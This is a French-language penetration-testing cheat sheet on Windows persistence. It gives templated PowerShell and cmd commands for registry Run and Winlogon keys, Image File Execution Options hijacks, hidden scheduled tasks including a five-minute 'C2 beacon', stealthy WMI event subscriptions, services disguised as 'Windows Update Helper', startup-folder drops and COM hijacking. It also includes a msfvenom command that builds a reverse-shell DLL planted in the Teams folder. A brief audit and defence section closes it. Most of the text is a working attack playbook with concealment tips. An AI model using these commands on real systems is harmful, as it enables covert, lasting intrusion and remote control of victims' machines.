MDstable
NoteSnippetChecklistPlaybook

Persistance Windows — Registry, Scheduled Tasks, WMI

Mécanismes de persistance Windows : clés Run, tâches planifiées, abonnements WMI, services, DLL hijacking

snippetadvanced 2026-05-14 5 min read
persistencewindowsregistryscheduled-taskswmiservicedll-hijackingpentest

Vue d'ensemble

Mcanisme | Prrequis | Discrtion | Survit au reboot
Registry Run keys | User/Admin | Moyenne | Oui
Scheduled Task | User/Admin | Faible | Oui
WMI Subscription | Admin | Haute | Oui
Service Windows | Admin | Faible | Oui
DLL Hijacking | User | Haute | Oui
Startup Folder | User | Faible | Oui
COM Hijacking | User | Haute | Oui

Registry Run Keys

powershell
Variables
{{REG_KEY_NAME}}
{{PAYLOAD}}
{{KEY_NAME}}
# HKCU (utilisateur courant — pas d'admin requis)
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "{{REG_KEY_NAME}}" -Value "C:\Windows\Temp\{{PAYLOAD}}.exe"
# HKLM (tous les utilisateurs — admin requis)
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "{{REG_KEY_NAME}}" -Value "C:\Windows\Temp\{{PAYLOAD}}.exe"
# RunOnce — s'exécute une seule fois au prochain login
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce" `
-Name "{{KEY_NAME}}" -Value "C:\Windows\Temp\{{PAYLOAD}}.exe"
powershell
Variables
{{PAYLOAD}}
# Autres clés de persistance registre
# Winlogon — exécuté au login (admin)
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" `
-Name "Userinit" -Value "C:\Windows\System32\userinit.exe,C:\Windows\Temp\{{PAYLOAD}}.exe,"
# Image File Execution Options — hooker un binaire légitime (admin)
# → Se lance à la place de calc.exe (ou à côté)
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" `
-Name "Debugger" -Value "C:\Windows\Temp\{{PAYLOAD}}.exe"

Tâches planifiées

powershell
Variables
{{PAYLOAD}}
{{TASK_NAME}}
# Créer une tâche planifiée (admin)
$action = New-ScheduledTaskAction -Execute "C:\Windows\Temp\{{PAYLOAD}}.exe"
$trigger = New-ScheduledTaskTrigger -AtLogOn
$settings = New-ScheduledTaskSettingsSet -Hidden # masquée dans Task Scheduler
Register-ScheduledTask -Action $action -Trigger $trigger `
-TaskName "{{TASK_NAME}}" -RunLevel Highest -Force
# Au démarrage du système
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -Action $action -Trigger $trigger `
-TaskName "{{TASK_NAME}}" -RunLevel Highest -Force
# Toutes les 5 minutes (C2 beacon)
$trigger = New-ScheduledTaskTrigger -RepetitionInterval (New-TimeSpan -Minutes 5) -Once -At (Get-Date)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "{{TASK_NAME}}" -Force
cmd
Variables
{{TASK_NAME}}
{{PAYLOAD}}
# Via schtasks.exe (ligne de commande)
schtasks /create /tn "{{TASK_NAME}}" /tr "C:\Windows\Temp\{{PAYLOAD}}.exe" `
/sc onlogon /ru System /f
# Tâche masquée (attribut SecurityDescriptor)
schtasks /change /tn "{{TASK_NAME}}" /SD "D:(A;;FA;;;BA)"

WMI Event Subscription (très discret)

WMI Subscription filtre consommateur liaison
Filtre condition dclenchante timer vnement systme
Consumer action excuter un script un binaire
Binding lie le filtre au consommateur
Aucun processus visible aucune entre dans le planificateur de tches
Survit aux reboots
powershell
Variables
{{WMI_FILTER_NAME}}
{{WMI_CONSUMER_NAME}}
{{PAYLOAD}}
# Créer un abonnement WMI — s'exécute toutes les 60 secondes
$filterName = "{{WMI_FILTER_NAME}}"
$consumerName = "{{WMI_CONSUMER_NAME}}"
$payload = "C:\Windows\Temp\{{PAYLOAD}}.exe"
# Filtre (timer 60s)
$wmiFilter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
Name = $filterName
EventNamespace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
# Consommateur (exécuter un binaire)
$wmiConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
Name = $consumerName
ExecutablePath = $payload
CommandLineTemplate = $payload
}
# Liaison filtre → consommateur
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{
Filter = $wmiFilter
Consumer = $wmiConsumer
}
powershell
# Vérifier les abonnements WMI existants
Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class __EventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
# Supprimer les abonnements
Get-WmiObject -Namespace root\subscription -Class __EventFilter | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class __EventConsumer | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Remove-WmiObject

Service Windows

powershell
Variables
{{SERVICE_NAME}}
{{PAYLOAD}}
# Créer un nouveau service (admin)
sc.exe create "{{SERVICE_NAME}}" binPath= "C:\Windows\Temp\{{PAYLOAD}}.exe" start= auto
sc.exe description "{{SERVICE_NAME}}" "Windows Update Helper" # description innocente
sc.exe start "{{SERVICE_NAME}}"
# PowerShell
New-Service -Name "{{SERVICE_NAME}}" `
-BinaryPathName "C:\Windows\Temp\{{PAYLOAD}}.exe" `
-StartupType Automatic `
-Description "Windows Update Helper"
Start-Service "{{SERVICE_NAME}}"

Startup Folder

powershell
Variables
{{PAYLOAD}}
{{SHORTCUT_NAME}}
# Répertoire Startup de l'utilisateur (pas d'admin)
$startupPath = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
Copy-Item "C:\Windows\Temp\{{PAYLOAD}}.exe" "$startupPath\{{PAYLOAD}}.exe"
# Ou créer un lien raccourci
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut("$startupPath\{{SHORTCUT_NAME}}.lnk")
$shortcut.TargetPath = "C:\Windows\Temp\{{PAYLOAD}}.exe"
$shortcut.WindowStyle = 7 # Minimisé (discret)
$shortcut.Save()
# Startup All Users (admin requis)
$allUsersStartup = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
Copy-Item "C:\Windows\Temp\{{PAYLOAD}}.exe" "$allUsersStartup\{{PAYLOAD}}.exe"

DLL Hijacking (sans admin)

powershell
Variables
{{LHOST}}
{{LPORT}}
# Identifier les DLLs manquantes dans les apps de l'utilisateur
# Process Monitor → filter: Result = "NAME NOT FOUND" + Path ends with ".dll"
# Cibler une app qui se lance au démarrage (ex: OneDrive, Teams, Slack)
# Placer une DLL malveillante dans son répertoire de recherche
# Générer la DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} `
-f dll -o missing_lib.dll
# Placer dans %APPDATA% ou le dossier utilisateur de l'app
Copy-Item missing_lib.dll "$env:APPDATA\Microsoft\Teams\missing_lib.dll"

COM Hijacking (sans admin)

powershell
Variables
{{TARGET_CLSID}}
# Les clés HKCU\Software\Classes\CLSID précèdent HKLM\Software\Classes\CLSID
# Créer une entrée HKCU pour hijacker un COM chargé par des apps légitimes
# Trouver les CLSIDs chargés depuis HKLM sans équivalent HKCU (via Process Monitor)
# Créer l'entrée HKCU
$clsid = "{{TARGET_CLSID}}"
New-Item -Path "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32" `
-Name "(default)" -Value "C:\Windows\Temp\evil.dll"
Set-ItemProperty -Path "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32" `
-Name "ThreadingModel" -Value "Apartment"

Nettoyage / Défense

powershell
# Audit des Run keys
Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run
# Audit des tâches planifiées
Get-ScheduledTask | Where-Object { $_.TaskPath -notlike "\Microsoft\*" }
# Audit des abonnements WMI
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding |
Select-Object Filter, Consumer
# Audit des services non-Microsoft
Get-Service | Where-Object { $_.Status -eq 'Running' } | ForEach-Object {
$path = (Get-WmiObject Win32_Service -Filter "Name='$($_.Name)'").PathName
if ($path -notmatch "System32|SysWOW64|Program Files") {
Write-Host "$($_.Name) → $path"
}
}
# Autoruns (Sysinternals) — vue complète de tous les points de persistance
.\autoruns64.exe -a * # CLI
.\Autoruns.exe # GUI
⚠ Attention —

Les abonnements WMI sont particulièrement furtifs car ils ne créent aucune entrée visible dans l'interface graphique, ne nécessitent aucun fichier .exe dans un dossier de démarrage, et survivent aux reboots. Ils sont stockés dans la base de données WMI (OBJECTS.DATA dans C:\Windows\System32\wbem\Repository). Seul Autoruns ou une requête WQL directe les révèle.

OPS·BRAIN v1.075 notes · Securitylocal